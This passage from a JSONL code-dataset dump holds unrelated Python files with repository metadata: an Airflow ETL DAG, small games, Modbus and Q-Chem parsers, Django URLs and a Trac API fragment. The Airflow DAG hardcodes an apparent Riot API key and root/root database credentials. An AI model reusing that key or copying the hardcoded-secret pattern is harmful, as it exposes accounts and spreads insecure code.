Response(status=status.HTTP_201_CREATED)\n","repo_name":"TheRealArkhane/forSureNewTestCaseShop","sub_path":"mainapp/orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"32102092665","text":"from datetime import datetime\r\nfrom airflow import DAG\r\nfrom airflow.providers.http.sensors.http import HttpSensor\r\nfrom airflow.providers.http.operators.http import SimpleHttpOperator\r\nfrom airflow.operators.python import PythonOperator\r\nfrom airflow.models import DagRun\r\nfrom airflow.utils.session import create_session\r\nfrom airflow.providers.mysql.hooks.mysql import MySqlHook\r\nfrom airflow.operators.bash import BashOperator\r\n# from pandas import json_normalize 보류\r\nimport pandas as pd, json, os\r\n\r\n# orm ts\r\n\r\nfrom sqlalchemy import create_engine, Column, Integer, String\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\n\r\nAPI_KEY = 'RGAPI-8b409514-e3ea-4fa7-b4f3-ef73c4dca2cc'\r\n\r\n# airflow-connection Host : https://kr.api.riotgames.com/\r\n\r\narg = {'start_date' : datetime(2023, 8, 1)}\r\n#------------------ mysql info\r\nmysql_conn_id = 'mysql'\r\nmysql_user = 'root'\r\nmysql_password = 'root'\r\nmysql_host = 'localhost'\r\nmysql_port = '3306'\r\nmysql_db = 'api'\r\nmysql_hook = MySqlHook(mysql_conn_id = mysql_conn_id)\r\nconn_address = f\"mysql+mysqlconnector://{mysql_user}:{mysql_password}@{mysql_host}:{mysql_port}/{mysql_db}\"\r\n#------------------ sqlite\r\nBase = declarative_base()\r\n\r\nclass userinfo(Base):\r\n    __tablename__ = 'user_info'\r\n    summoner_id = Column(String, primary_key = True)\r\n    summoner_name = Column(String)\r\n    QType = Column(String)\r\n\r\nengine = create_engine('sqlite:///sqlite_database_orm.db')\r\nSession = sessionmaker(bind = engine)\r\nsession = Session()\r\n\r\n#------------------- airflow info\r\n\r\ndag_id = 'riot_datapipeline'\r\nexecution_date_str = '2023-08-05T15:11:18.559982+00:00'\r\nexecution_date = datetime.strptime(execution_date_str, '%Y-%m-%dT%H:%M:%S.%f%z')\r\ntask_id = 'extract_riot_api'\r\nxcom_key = 'return_value'\r\n\r\n\r\n#------------------- \r\n\r\ndef _processing_api():\r\n    with create_session() as session:\r\n        dagrun = session.query(DagRun).filter(\r\n            DagRun.dag_id == dag_id,\r\n            DagRun.execution_date == execution_date\r\n        ).first()\r\n\r\n    if not dagrun:\r\n        raise Exception(f\"DagRun for DAG '{dag_id}' and execution date '{execution_date}' not found.\")\r\n    \r\n    else:\r\n        xcom_value = dagrun.get_task_instance(task_id = task_id).xcom_pull(key = xcom_key)\r\n        print(f\"XCom Value: {xcom_value}\")\r\n    \r\n    df = pd.DataFrame(xcom_value)\r\n    df = df[['summonerId', 'summonerName', 'queueType']]\r\n    df.rename(columns={'summonerId': 'summoner_id', 'summonerName': 'summoner_name', 'queueType': 'QType'}, inplace=True)\r\n    print(df.head())\r\n\r\n    dir = 'C://Users//admin//csv_//'  \r\n    if not os.path.exists(dir):\r\n        os.makedirs(dir)    \r\n    \r\n    file_path = os.path.join(dir, f'{datetime.now().date()}DIAMOND_list.csv')\r\n    df.to_csv(file_path)\r\n    \r\n    mysql_hook.insert_rows(table = 'user_info', rows = df.to_dict(orient = 'records'), replace = True)   \r\n\r\n# dag skeleton\r\nwith DAG(dag_id = 'riot_datapipeline',\r\n         schedule_interval = '@daily', # '0 0 * * * *'\r\n         default_args = arg,\r\n         tags = ['riot'],\r\n         catchup = False) as dag: #catchup -> backfill\r\n\r\n# operator\r\n# bash func : bash operator\r\n# python func : python operator\r\n# email send : email operator\r\n\r\n    api_check = HttpSensor(\r\n        task_id = 'available_or_not',\r\n        http_conn_id = 'riot_api',\r\n        endpoint = f\"lol/league-exp/v4/entries/RANKED_SOLO_5x5/DIAMOND/I?page=14&api_key={API_KEY}\"\r\n    )\r\n\r\n    extract_data = SimpleHttpOperator(\r\n        task_id = 'extract_riot_api',\r\n        http_conn_id = 'riot_api',\r\n        endpoint = f\"lol/league-exp/v4/entries/RANKED_SOLO_5x5/DIAMOND/I?page=14&api_key={API_KEY}\",\r\n        method = 'GET',\r\n        response_filter = lambda x: json.loads(x.text),\r\n        log_response = True,\r\n    )\r\n\r\n    process_api_data = PythonOperator(\r\n        task_id = 'process_api_data',\r\n        python_callable = _processing_api,\r\n        dag = dag\r\n    )\r\n\r\n    # store_data = BashOperator(\r\n    #     task_id = 'store_data',\r\n    #     bash_command = 'bash /path/to/your/bash_operator_script.sh'\r\n    # )\r\n\r\napi_check >> extract_data >> process_api_data","repo_name":"OwenKimcertified/spark-hadoop-sqoop-etc","sub_path":"api_ETL_PIPE_spark.py","file_name":"api_ETL_PIPE_spark.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8753301661","text":"# This is a guess the number game.\n\nimport random\nprint('Hello. What is your name?')\nname = input()\n\nsecretNumber = random.randint(1, 20)\nprint('Well, ' + name + ' I am thinking of a number between 1 and 20.')\n\nfor guessesTaken in range(1, 7):\n    print('Would you like to guess? Give it a shot.')\n    guess = int(input())\n\n    if guess < secretNumber:\n        print('Guess is too low.')\n    elif guess > secretNumber:\n        print('Guess is too high.')\n    else:\n        break\n\nif guess == secretNumber:\n    print('Good job, ' + name + ', You guessed the number in ' +  str(guessesTaken) + ' guesses.')\nelse:\n    print('Nope. The number I was thinking of was ' + str(secretNumber) + '.')\n","repo_name":"tanktoptony/ATBS","sub_path":"GuessTheNumber.py","file_name":"GuessTheNumber.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"3545536987","text":"from mbprotocols import MBAddrTypes\n\n\"\"\"Common configuration routines.\n\"\"\"\n\n########################################################\n\n# Generic error messages.\nErrMsg = {\n\t'missingitem' : 'Comms config error in %(section)s - missing %(item)s',\n\t'unknownitem' : 'Comms config error in %(section)s - unknown %(item)s',\n\t'badservername' : 'Comms config error - invalid server name: %(section)s',\n\t'badport' : 'Comms config error - bad port number in %(section)s - %(paramvalue)s',\n\n\t'badclientname' : 'Comms config error - invalid client name: %(section)s',\n\t'badvalue' : 'Comms config error in %(section)s - %(item)s has a bad parameter value %(paramvalue)s',\n\t'badcmdname' : 'Comms config error in %(section)s - bad command name %(item)s',\n\n\t'badcmdfmt' : 'Comms config error in %(section)s - bad command format %(item)s  %(paramvalue)s',\n\t'missingcmdparam' : 'Comms config error in %(section)s - missing command parameter name %(item)s  %(paramvalue)s',\n\t'uknowncmdparam' : 'Comms config error in %(section)s - unkown command parameter name %(item)s  %(paramvalue)s',\n\t'badcmdparamval' : 'Comms config error in %(section)s - bad command parameter value %(item)s  %(paramvalue)s',\n\n\n\t# Modbus specific error messages.\n\t'badfunccode' : 'Comms config error in %(section)s - bad modbus function code %(item)s  %(paramvalue)s',\n\t'badqty' : 'Comms config error in %(section)s - bad modbus quantity %(item)s  %(paramvalue)s',\n\t'badmemaddr' : 'Comms config error in %(section)s - modbus memory address out of range %(item)s  %(paramvalue)s',\n\t'badremoteaddr' : 'Comms config error in %(section)s - modbus remote address out of range %(item)s  %(paramvalue)s',\n\t'baduid' : 'Comms config error in %(section)s - bad modbus unit id %(item)s  %(paramvalue)s',\n\n\t# General configuration messages.\n\t'noserverid' : 'Comms config error - No server id.',\n\t'badexpdt' : 'Comms config error - Bad expanded register map parameter.',\n\t'badfile' : 'Comms config error - No config file found. %(section)s',\n\t'badfileopen' : 'Comms edit error - Error opening file %(paramvalue)s for write',\n\t'badfilesave' : 'Comms edit error - Error saving file %(paramvalue)s',\n\t'badtype' : 'Comms config error - Unknown config type  %(item)s in %(section)s.',\n\t'badprotocol' : 'Comms config error - Unknown protocol type %(item)s in %(section)s.',\n\t'badsystem' : 'Comms config error - Cannot read parameters in %(section)s.'\n\n\t}\n\n\n########################################################\ndef FormatErr(errkey, section, item, paramvalue):\n\t\"\"\"Format and return an error message. \n\tParameters:\n\t\terrkey (string) = A key to the error message dictionary.\n\t\tsection (string) = The section name the error occured in.\n\t\titem (string) = The item the error occured in.\n\t\tparamvalue (string) = The parameter value which is in error.\n\tReturns (string) = The formatted error message.\n\t\"\"\"\n\treturn (ErrMsg[errkey] % {'section' : section, \n\t\t\t\t\t'item' : item, 'paramvalue' : paramvalue})\n\n\n\n########################################################\ndef CheckHost(host):\n\t\"\"\" Validate a host name.\n\tParams: host (string) - Host hame. Checks for minimum length.\n\tReturns: (result, host)\n\t\tresult (boolean). True if length of host is greater than zero\n\t\thost (string). Original parameter.\n\t\"\"\"\n\t# Host address.\n\tif (len(host) < 1):\n\t\treturn False, host\n\telse:\n\t\treturn True, host\n\n########################################################\ndef CheckPort(port):\n\t\"\"\" Validate a port number, and convert the port to an integer.\n\tParams: port (string) - Port. Converts to integer.\n\tReturns: (result, port)\n\t\tresult (boolean) = True if port was OK.\n\t\tport (integer) = Port number if OK, else it is the\n\t\t\t\toriginal port parameter passed in.\n\t\"\"\"\n\t# Port number must be integer.\n\ttry:\n\t\tCheckedPort = int(port)\n\texcept:\n\t\treturn False, port\n\n\t# Ports must be positive numbers.\n\tif (CheckedPort < 0):\n\t\treturn False, port\n\n\t# All tests passed.\n\treturn True, CheckedPort\n\n\n########################################################\ndef CheckTime(timevalue):\n\t\"\"\" Validate a time value in milliseconds.\n\tParams: timevalue (string) - Time in milliseconds.\n\tReturns: (result, time) \n\t\tresult (boolean) = True if time was OK.\n\t\ttime (int) = The time in milli-seconds, or the original parameter \n\t\t\tif there was an error.\n\t\"\"\"\n\n\t# Time delays between consecutive commands (specified in msec).\n\ttry:\n\t\tTimeVal = int(timevalue)\n\texcept:\n\t\treturn False, timevalue\n\n\t# Must be +ve integer.\n\tif (TimeVal <= 0):\n\t\treturn False, timevalue\n\telse:\n\t\treturn True, TimeVal\n\n########################################################\ndef CheckDTAddr(dtaddr, dttype):\n\t\"\"\" Validate a data table address.\n\tParams: dtaddr (string) - The data table address.\n\t\tdttype (string) - The data table address type (e.g. 'coil').\n\tReturns: (result, faultaddr)\n\t\tresult (boolean) = True if time was OK.\n\t\tdtaddr (integer). Data table address. Original parameter if error.\n\t\"\"\"\n\t# Fault address number.\n\ttry:\n\t\tDTAddr = int(dtaddr)\t# Must be +ve integer.\n\texcept:\n\t\treturn False, dtaddr\n\n\tif ((DTAddr < 0) or (DTAddr > MBAddrTypes.MaxBasicAddrTypes[dttype])):\n\t\treturn False, dtaddr\n\n\t# All tests passed.\n\treturn True, DTAddr\n\n\n# The following routines check the data table addresses for individual types.\n#####\ndef CheckDTCoilAddr(dtaddr):\n\t\"\"\"Check data table coil addresses.\n\t\"\"\"\n\treturn CheckDTAddr(dtaddr, 'coil')\n\n#####\ndef CheckDTDisInpAddr(dtaddr):\n\t\"\"\"Check data table discrete input addresses.\n\t\"\"\"\n\treturn CheckDTAddr(dtaddr, 'discrete')\n\n#####\ndef CheckDTHRegAddr(dtaddr):\n\t\"\"\"Check data table holding register addresses.\n\t\"\"\"\n\treturn CheckDTAddr(dtaddr, 'holdingreg')\n\n#####\ndef CheckDTInpRegAddr(dtaddr):\n\t\"\"\"Check data table input register addresses.\n\t\"\"\"\n\treturn CheckDTAddr(dtaddr, 'inputreg')\n\n\n########################################################\ndef CheckGenRestart(restart):\n\t\"\"\" Validate a generic client restart parameter.\n\tParams: restart (string) - The permitted restart actions.\n\tReturns: (result, restart)\n\t\tresult (boolean) = True if time was OK.\n\t\trestart (string). The original parameter.\n\t\"\"\"\n\treturn (restart in ['yes', 'no', 'nostart']), restart\n\n\n\n########################################################\ndef CheckGenDTAddr(dtaddr):\n\t\"\"\" Validate a generic data table address parameter set for reading or \n\tor writing the data table. \n\tParams: \n\tdtaddr (string) - The data table address list. This will be in the\n\t\tformat coil=9000:10, inp=9000:15, inpreg=9500:5, holdingreg=9600:4\n\t\tEach address type is optional, so there may be any number of these\n\t\tfrom 1 to 4. As a special case, 'none' indicates the parameter\n\t\tis not used.\n\tReturns: (result, addrconfig)\n\t\tresult (boolean) = True if time was OK.\n\t\taddrconfig (dictionary). Data table address configuration. \n\t\t\tOriginal parameter if error.\n\t\"\"\"\n\n\t# If the parameter is 'none', this is a special case to indicate \n\t# the parameter is unused and there are no addresses expected.\n\tif dtaddr.strip() == 'none':\n\t\treturn True, {}\n\n\ttry:\n\t\t# First, split the parameter string by commas.\n\t\tparamlist = dtaddr.split(',')\n\t\t# Split each into parameter name and parameters (by '=').\n\t\tparamlist = map(lambda param: param.split('=', 1), paramlist)\n\t\t# Split the address and length (by ':') and trim blanks from the parameter name.\n\t\tparamlist = map(lambda param: (param[0].strip(), param[1].split(':', 1)), paramlist)\n\t\t# Look for unrecognised parameter names.\n\t\tbadnames = filter(lambda param: param[0] not in ('coil', 'inp', 'inpreg', 'holdingreg'), paramlist)\n\t\t# Convert the parameter values into integers.\n\t\tparamlist = map(lambda param: (param[0], (int(param[1][0]), int(param[1][1]))), paramlist)\n\t\t# Check the address ranges for negative numbers.\n\t\tnegatives = filter(lambda param: param[1][0] < 0 or param[1][1] < 0, paramlist)\n\t\t# Check for address that are too large.\n\t\toutofrange = filter(lambda param: param[0] == 'coil' and \n\t\t\t(param[1][0] + param[1][1]) > MBAddrTypes.MaxBasicAddrTypes['coil'], paramlist)\n\t\toutofrange.extend(filter(lambda param: param[0] == 'inp' and \n\t\t\t(param[1][0] + param[1][1]) > MBAddrTypes.MaxBasicAddrTypes['discrete'], paramlist))\n\t\toutofrange.extend(filter(lambda param: param[0] == 'inpreg' and \n\t\t\t(param[1][0] + param[1][1]) > MBAddrTypes.MaxBasicAddrTypes['inputreg'], paramlist))\n\t\toutofrange.extend(filter(lambda param: param[0] == 'holdingreg' and \n\t\t\t(param[1][0] + param[1][1]) > MBAddrTypes.MaxBasicAddrTypes['holdingreg'], paramlist))\n\texcept:\n\t\treturn False, dtaddr\n\n\n\tif (len(badnames) > 0) or (len(negatives) > 0) or (len(outofrange) > 0):\n\t\treturn False, dtaddr\n\n\treturn True, dict(paramlist)\n\n\n\n########################################################\ndef ValidateSectionName(sectionname):\n\t\"\"\"Validate that the section name is properly formed.\n\tParameters: sectionname (string) = The section name to check.\n\tReturns (result, sectionname)\n\t\tresult (boolean) = True if time was OK.\n\t\tsectionname (string) = Original parameter.\n\t\"\"\"\n\t# Client names must be at least 1 character long.\n\tif (len(sectionname) < 1):\n\t\treturn False, sectionname\n\n\t# Client names must not begin with a '&'\n\tif (sectionname[0:1] == '&'):\n\t\treturn False, sectionname\n\n\treturn True, sectionname\n\n\n########################################################\ndef IsCmdName(commandname):\n\t\"\"\"Returns true if the item name matches the format for\n\ta command name. \n\tParameters: commandname (string) = Item name to check.\n\tReturns: (boolean) = True if command name.\n\t\"\"\" \n\treturn ((commandname[0:1] != '&') and (len(commandname) < 2))\n\n\n########################################################\ndef CheckAny(param):\n\t\"\"\"Always returns True. We use this for any parameters that we want\n\tto ignore for now.\n\t\"\"\"\n\treturn True, param\n\n\n\n########################################################\ndef CheckSerialPort(portname):\n\t\"\"\"Returns true if the item name matches the format for\n\ta serial port. \n\tParameters: portname = port name or number to check.\n\tReturns: (boolean) = True if port name is a valid format.\n\t\"\"\" \n\treturn True, portname\n\n\n\n########################################################\ndef CheckBaudRate(baudrate):\n\t\"\"\" Validate a baud rate number, and convert it to an integer.\n\tThis only checks that the rate is a valid positive integer.\n\tParams: baudrate (string) - Baud rate. Converts to integer.\n\tReturns: (result, baudrate)\n\t\tresult (boolean) = True if port was OK.\n\t\tbaudrate (integer) = Baudrate number if OK, else it is the\n\t\t\t\toriginal parameter passed in.\n\t\"\"\"\n\t# Baud rate number must be integer.\n\ttry:\n\t\tCheckedBaud = int(baudrate)\n\texcept:\n\t\treturn False, baudrate\n\n\t# Baudrates must be positive numbers.\n\tif (CheckedBaud < 0):\n\t\treturn False, baudrate\n\n\t# All tests passed.\n\treturn True, CheckedBaud\n\n\n\n########################################################\ndef CheckParity(parity):\n\t\"\"\"Returns true if the item name matches the format for\n\tparity. \n\tParameters: parity (string) = parity to check.\n\tReturns: (boolean) = True if parity name is correct.\n\t\tParity (string) = The original parameter.\n\t\"\"\" \n\treturn parity in ('none', 'odd', 'even', 'mark', 'space'), parity\n\n\n########################################################\ndef CheckDataBits(databits):\n\t\"\"\"Returns true if the item name matches the format for\n\tdata bits. \n\tParameters: databits (string) = Value to check.\n\tReturns: (boolean) = True if ok.\n\t\tdatatbits (integer) = Databits number if OK, else it is the\n\t\t\t\toriginal parameter passed in.\n\t\"\"\" \n\t# Number must be integer.\n\ttry:\n\t\tCheckedDB = int(databits)\n\texcept:\n\t\treturn False, databits\n\n\t# Must be in the following range.\n\tif (CheckedDB < 5) or (CheckedDB > 8):\n\t\treturn False, databits\n\n\t# All tests passed.\n\treturn True, CheckedDB\n\n\n########################################################\ndef CheckStopBits(stopbits):\n\t\"\"\"Returns true if the item name matches the format for\n\tstop bits. \n\tParameters: stopbits (string) = stopbits to check.\n\tReturns: (boolean) = True if name is correct.\n\t\tstopbits (string) = The original parameter.\n\t\"\"\" \n\treturn stopbits in ('1', '1.5', '2'), stopbits\n\n\n########################################################\n\n\n\n\n\n\n","repo_name":"ssrselvamraju/mblogic-S2-client","sub_path":"mblogic_s2/mblogic/comsconfig/ConfigCommon.py","file_name":"ConfigCommon.py","file_ext":"py","file_size_in_byte":12009,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"17304249334","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def getMaximumDepth(self, root, currentDepth, maxDepth):\n        if root == None:\n            return 0\n\n        newDepth = currentDepth + 1\n\n        leftMaxDepth = self.getMaximumDepth(root.left, newDepth, maxDepth)\n        rightMaxDepth = self.getMaximumDepth(root.right, newDepth, maxDepth)\n\n        maxDepth = max(maxDepth, newDepth, leftMaxDepth, rightMaxDepth)\n        return maxDepth\n\n    def maxDepth(self, root: Optional[TreeNode]) -> int:\n        return self.getMaximumDepth(root, 0, 0)","repo_name":"jash139/leetcode_solutions","sub_path":"Python/maximum-depth-of-binary-tree.py","file_name":"maximum-depth-of-binary-tree.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"12832492984","text":"# to run: mpirun -np 4 python mpi_example_compressed.py\nimport sys\nfrom mpi4py import MPI\nimport numpy as np\nfrom netCDF4 import Dataset\nrank = MPI.COMM_WORLD.rank  # The process ID (integer 0-3 for 4-process run)\nnc = Dataset('parallel_test_compressed.nc', 'w', parallel=True)\nd = nc.createDimension('dim',4)\nv = nc.createVariable('var', np.int32, 'dim', zlib=True)\nv[:] = np.arange(4)\nnc.close()\n# read compressed files in parallel, check the data, try to rewrite some data\nnc = Dataset('parallel_test_compressed.nc', 'a', parallel=True)\nv = nc['var']\nassert rank==v[rank]\nv.set_collective(True) # issue #1108 (var must be in collective mode or write will fail)\nv[rank]=2*rank\nnc.close()\n","repo_name":"Unidata/netcdf4-python","sub_path":"examples/mpi_example_compressed.py","file_name":"mpi_example_compressed.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":700,"dataset":"github-code","pt":"51"}
+{"seq_id":"26204536740","text":"from django.urls import path, re_path\nfrom MyBlog.views import *\n\nurlpatterns = [\n    path('base/', base),\n    path('index/', index),\n    path('about/', about),\n    path('share/', share),\n    path('list/', list),\n    path('info/', info),\n    path('gbook/', gbook),\n    # path('js/', js),\n    path('article_api/', article_api),\n    path('comment_api/', comment_api),\n\n    # path('add_art/', add_art),\n]\n","repo_name":"GuangkunYu/Djangoblog","sub_path":"Blog/MyBlog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5858105732","text":"import sys\nfrom random import randrange\nfrom PySide6.QtWidgets import (\n    QApplication, QWidget, QPushButton, QHBoxLayout\n)\n\n### Our own class for a custmoized QPushButton\nclass RandomButton(QPushButton): # inherits from QPushButton\n    def __init__(self, size=48, flat=True): # some default values\n        super().__init__()\n        self.setText(str(randrange(999))) # here self is the instance of RandomButton\n        self.setMinimumSize(size,size)\n        self.setFlat(flat)\n        self.setCheckable(True)\n        self.setStyleSheet(f\"color: rgb({randrange(255)}, {randrange(255)}, {randrange(255)});\")\n\n        self.clicked.connect(self.random_color)\n    \n    def random_color(self):\n        self.setStyleSheet(f\"color: rgb({randrange(255)}, {randrange(255)}, {randrange(255)});\")\n\n\nclass MainWindow(QWidget): \n    def __init__(self):\n        super().__init__()\n        self.initializeUI()\n\n    def initializeUI(self):\n        \"\"\"Set up application's GUI.\"\"\"\n        self.setWindowTitle(\"Custom Button\")\n\n        layout = QHBoxLayout(self)\n\n        for _ in range(10):\n            button = RandomButton(size=randrange(10,80), flat=True)\n            layout.addWidget(button)\n\n        self.show()\n        \n\nif __name__ == \"__main__\":\n    app = QApplication()\n    main_window = MainWindow()\n    sys.exit(app.exec())\n","repo_name":"sbwiecko/gui_qt_python","sub_path":"6-avancé/custom_pushbutton.py","file_name":"custom_pushbutton.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2476719242","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"智能转换 bytes 为 kb/mb/gb/tb/pb...\n\"\"\"\n\nimport math\n\n\ndef convert_bytes(size, lst=None):\n    if lst is None:\n        lst = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB']\n    i = int(math.floor(math.log(size, 1024)))\n\n    if i >= len(lst):\n        i = len(lst) - 1\n    return ('%.2f' + lst[i]) % (size/math.pow(1024, i))\n\n\ndef main():\n    print(convert_bytes(84253081))\n\n\nif __name__ == '__main__':\n    # main()\n    list_a = []\n    print(len(list_a))\n","repo_name":"sunhailin-Leo/MongoDB_Spider","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2046838333","text":"#!/usr/bin/env python\n\nimport os\nimport re\nimport sys\nimport numpy as np\nfrom chrom import *\nfrom ..util import util as u\nfrom ..util.elements import ELEMENTS\n\n#\n# Q-Chem output file\n#\nclass QChem(Chrom):\n    '''A class to parse Q-Chem td logfiles.'''\n\n    def __init__(self, outfile):\n\n        # Inherit from Chrom\n        Chrom.__init__(self, outfile)\n        # Fill in attributes\n        self.type = self.__class__.__name__\n        self.get_data()\n\n\n    def get_data(self):\n        '''Fills in class attributes with the data from td logfile.'''\n\n        #\n        # Molecular Properties\n        #\n        parsed_data = self.extract()\n\n        # Geometrical properties\n        self.Z_atoms = parsed_data[0]\n        self.atoms = parsed_data[1]\n        self.coords = parsed_data[2]\n        self.natoms = len(self.atoms)\n        self.com = self.calc_com(self.atoms, self.coords)\n\n        # Electronic properties\n        self.energies = parsed_data[3]\n        self.ntran = len(self.energies)\n        self.f_osc = parsed_data[4]\n        self.mu_len = parsed_data[5]\n        self.r_vel = None\n        self.r_len = None\n        self.mu_vel = None\n        self.mag = None\n        self.trchgs = np.zeros((self.natoms, self.ntran))\n\n        pass\n\n\n    def extract(self):\n        '''Parses Q-Chem td logfile for geometric and electronic properties.'''\n\n        with open(self.file) as f:\n\n            structure = []\n            energies = []\n            oscillators = []\n            mu_len = []\n\n            for line in f:\n\n                #\n                # Geometry\n                #\n                if \"Standard Nuclear Orientation\" in line:\n                    line = u.skiplines(f, 2)\n                    data = line.split()\n\n                    while len(data) == 5:\n\n                        atom = data[1]\n                        atom_x = float(data[2])\n                        atom_y = float(data[3])\n                        atom_z = float(data[4])\n                        structure.append([atom, atom_x, atom_y, atom_z])\n\n                        data = next(f).split()\n\n                #\n                # Electronic Properties\n                #\n                if \"Excitation Energies\" in line:\n\n                    # Set empty lists, so that if, for example, both TDA\n                    # and TDDFT are performed, only the last one will be\n                    # stored\n                    energies = []\n                    oscillators = []\n                    mu_len = []\n\n                    line = u.skiplines(f, 2)\n\n                    while '---------------------------------------------------' not in line:\n\n                        #\n                        # Excitation Energies\n                        #\n                        if 'excitation energy' in line:\n                            energy = float(line.split()[-1])\n                            energies.append(energy)\n                      \n                        #\n                        # Discard Triplet States\n                        #\n                        if 'Multiplicity' in line:\n\n                            if line.split()[-1] == 'Triplet':\n                                energies = energies[:-1]\n                                line = u.skiplines(f, 5)\n                                continue\n\n                        #\n                        # Transition Electric Dipole Moment\n                        #\n                        if 'Trans. Mom.' in line:\n                            mu_x = float(line.split()[2])\n                            mu_y = float(line.split()[4])\n                            mu_z = float(line.split()[6])\n                            mu_len.append([mu_x, mu_y, mu_z])\n\n                        #\n                        # Oscillator Strengths\n                        #\n                        if 'Strength' in line:\n                            oscillator = float(line.split()[-1])\n                            oscillators.append(oscillator)\n\n                        # Update line value for while cycle\n                        line = u.skiplines(f)\n\n            Z_atoms = [ ELEMENTS[x[0]].number for x in structure ]\n            atoms = [ x[0] for x in structure ]\n            coords = np.array([ x[1:] for x in structure ])\n            energies = np.array(energies)\n            oscillators = np.array(oscillators)\n            mu_len = np.array(mu_len)\n\n            return Z_atoms, atoms, coords, energies, oscillators, mu_len\n\n\nif __name__ == '__main__':\n\n    a = QChem(\"../data/QChem/qchem_td.out\")\n    a.save_es_analysis(2,4,3)\n    a.save_visdip(center=[2,4])\n\n\n    b = QChem(\"../data/QChem/qchem_td2.out\")\n    b.save_es_analysis(4, 1, [5,6])\n    b.save_visdip(center=[1,4])\n\n    c = QChem(\"opt_qmmm.out\")\n    c.save_xyz()\n    pass\n","repo_name":"chrinide/QM_parser","sub_path":"parser/qchem.py","file_name":"qchem.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73901462237","text":"import os\nimport subprocess\nfrom modules.settings import Path, Design\nimport shutil\n\ndef move_back_to_initial_dir(dir):\n\tfor filename in os.listdir(dir):\n\t\tif filename[0] == '.':\n\t\t\tcontinue\n\t\tsrc_path = os.path.join(dir, filename)\n\t\tdest_path = os.path.join(Path.initial_sub_dir, filename)\n\t\tos.move(src_path, dest_path)\n\ndef clear_initial_dir():\n\tfor folder in os.listdir(Path.initial_sub_dir):\n\t\tshutil.rmtree(os.path.join(Path.initial_sub_dir, folder))\n\nclass Refresher:\n\tdef run():\n\t\tprint(\"Restoring test data...\")\n\t\tclear_initial_dir()\n\n\t\tfor folder in os.listdir(Path.invalid_dir):\n\t\t\tif folder[0] == '.':\n\t\t\t\tcontinue\n\t\t\tfolder_path = os.path.join(Path.invalid_dir, folder)\n\t\t\tfor file in os.listdir(folder_path):\n\t\t\t\tsrc_path = os.path.join(folder_path, file)\n\t\t\t\tdest_path = os.path.join(Path.initial_sub_dir, file)\n\t\t\t\tos.move(src_path, dest_path)\n\n\t\tmove_back_to_initial_dir(Path.valid_checked_dir)\n\t\tmove_back_to_initial_dir(Path.valid_sub_dir)\n\t\tmove_back_to_initial_dir(Path.valid_checked_graded_dir)\n\n\t\ttest_zips = os.listdir(Path.initial_sub_dir)\n\t\tfor i in range(0, len(test_zips)):\n\t\t\ttest_zip_folder = os.path.join(Path.initial_sub_dir, f\"test_zip_{i+1}\")\n\t\t\tos.mkdir(test_zip_folder)\n\t\t\tos.move(os.path.join(Path.initial_sub_dir, test_zips[i]), os.path.join(test_zip_folder, test_zips[i]))\n\n\n\t\tfor folder in os.listdir(Path.unzipped_dir):\n\t\t\tif folder[0] == '.':\n\t\t\t\tcontinue\n\t\t\tfolder_path = os.path.join(Path.unzipped_dir, folder)\n\t\t\tshutil.rmtree(folder_path)\n\n\t\tprint(\"Default test data restored.\")","repo_name":"chtu/GatorGrader","sub_path":"modules/refresher.py","file_name":"refresher.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"15446322821","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nAPI for administrating custom ticket fields in Trac.\r\nSupports creating, getting, updating and deleting custom fields.\r\n\r\nLicense: BSD\r\n\r\n(c) 2005-2009 ::: www.CodeResort.com - BV Network AS (simon-code@bvnetwork.no)\r\n\"\"\"\r\n\r\nimport re\r\n\r\nfrom trac.core import *\r\nfrom trac.ticket.model import TicketSystem\r\n\r\n__all__ = ['CustomFields']\r\n\r\nclass CustomFields(Component):\r\n    \"\"\" These methods should be part of TicketSystem API/Data Model.\r\n    Adds update_custom_field and delete_custom_field methods.\r\n    (The get_custom_fields is already part of the API - just redirect here,\r\n     and add option to only get one named field back.)\r\n    \r\n    Input to methods is a 'customfield' dict supporting these keys:\r\n        name = name of field (alphanumeric only)\r\n        type = text|checkbox|select|radio|textarea\r\n        label = label description\r\n        value = default value for field content\r\n        options = options for select and radio types (list, leave first empty for optional)\r\n        cols = number of columns for text area\r\n        rows = number of rows for text area\r\n        order = specify sort order for field\r\n    \"\"\"\r\n    \r\n    implements()\r\n    \r\n    def get_custom_fields(self, customfield=None):\r\n        \"\"\" Returns the custom fields from TicketSystem component.\r\n        Use a cfdict with 'name' key set to find a specific custom field only.\r\n        \"\"\"\r\n        if not customfield:    # return full list\r\n            return TicketSystem(self.env).get_custom_fields()\r\n        else:                  # only return specific item with cfname\r\n            all = 